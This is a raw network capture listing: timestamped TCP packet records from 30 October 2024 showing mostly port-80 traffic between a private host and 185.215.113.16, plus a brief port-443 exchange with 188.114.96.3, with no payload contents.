Oct 30, 2024 11:46:50.829092979 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.829220057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829229116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829272032 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.829281092 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829291105 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829302073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829332113 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.829351902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.829649925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829761982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829816103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870351076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870385885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870397091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870409012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870410919 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870444059 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870460033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870465994 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870476007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870487928 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870511055 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870532990 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870795012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870821953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870835066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.870848894 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.870882034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871004105 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871049881 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871063948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871076107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871087074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871107101 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871140003 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871357918 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871485949 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871496916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871509075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871521950 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871531963 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871535063 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871545076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871557951 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871570110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.871575117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871598005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.871620893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.872255087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.872281075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.872292995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.872329950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.872364044 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.911384106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911397934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911431074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911441088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911499023 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.911550045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.911737919 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911812067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911823034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911834002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911844969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911874056 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.911892891 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.911947012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911958933 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.911972046 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.912003994 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.912030935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.915221930 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.915431976 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.917104006 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.917118073 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.917437077 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.921559095 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.921706915 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.921740055 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.921849012 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.921854019 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.942624092 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.942696095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.942706108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.942733049 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.942744970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.942755938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.942761898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.942811966 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.942970037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943003893 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943015099 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943049908 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.943073034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.943360090 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943396091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943413973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943439007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943476915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.943531990 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.943794012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943857908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943869114 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943881989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943927050 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.943938017 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.943968058 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.943981886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944031954 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944150925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944199085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944200039 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944210052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944242001 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944263935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944341898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944354057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944364071 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944401026 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944434881 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944549084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944614887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944626093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944637060 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944669962 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944704056 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.944978952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.944989920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.945002079 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.945029974 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.945061922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.984648943 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.984694004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.984843969 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.985816956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.985860109 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.985872030 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.985872984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.985939026 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.985941887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.985953093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.985997915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986042023 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986052036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986094952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986125946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986185074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986196995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986241102 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986249924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986479998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986505032 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986520052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986534119 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986571074 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986604929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986615896 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986628056 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986663103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986685038 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.986958027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.986999035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987010956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987052917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.987056017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987082005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.987085104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987104893 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987113953 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.987116098 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987128973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987138033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.987143040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.987165928 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.987201929 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.027004004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027024031 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027041912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027051926 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027065039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027121067 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.027180910 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.027246952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027333975 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027347088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027364969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027376890 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027394056 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.027424097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.027436972 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027479887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027525902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.027546883 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027559042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.027597904 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058032990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058090925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058110952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058129072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058139086 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058150053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058171034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058195114 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058234930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058262110 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058263063 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058288097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058315992 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058331013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058343887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058377028 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058851957 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058881044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058897018 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.058934927 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.058957100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059322119 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059333086 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059350967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059390068 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059406042 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059623003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059633970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059653044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059663057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059674025 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059694052 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059721947 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059731960 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059792042 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059823036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059844971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059855938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059896946 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.059978008 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.059988976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060000896 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060012102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060024023 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.060065031 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.060225010 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060275078 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060288906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060317039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060322046 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.060329914 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.060343027 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.060383081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.101598978 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101608992 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101619959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101629019 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101639986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101727962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101739883 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.101783991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101794958 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.101795912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101830959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101833105 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.101841927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.101888895 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102082968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102108002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102117062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102137089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102171898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102205992 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102260113 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102329016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102339983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102349997 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102365017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102379084 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102391005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102401972 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102415085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102422953 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102426052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102436066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.102447033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.102499962 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.103040934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.103091002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.103101969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.103133917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.103147030 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.103151083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.103176117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.103212118 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.142425060 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142442942 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142455101 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142467022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142534971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142555952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.142599106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142608881 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142621040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142631054 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.142635107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142662048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.142685890 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.142770052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142817974 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142827988 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.142864943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.142900944 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.173504114 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173536062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173556089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173568964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173582077 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173595905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173598051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.173608065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173655033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.173810005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173821926 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173835993 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173861980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173873901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.173873901 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.173899889 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.173918009 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.174262047 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174277067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174312115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.174330950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.174351931 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174361944 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174400091 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.174639940 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174665928 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174685955 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.174722910 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.174751997 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174762011 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.174833059 CET	58193	80	192.168.2.7	185.215.113.16
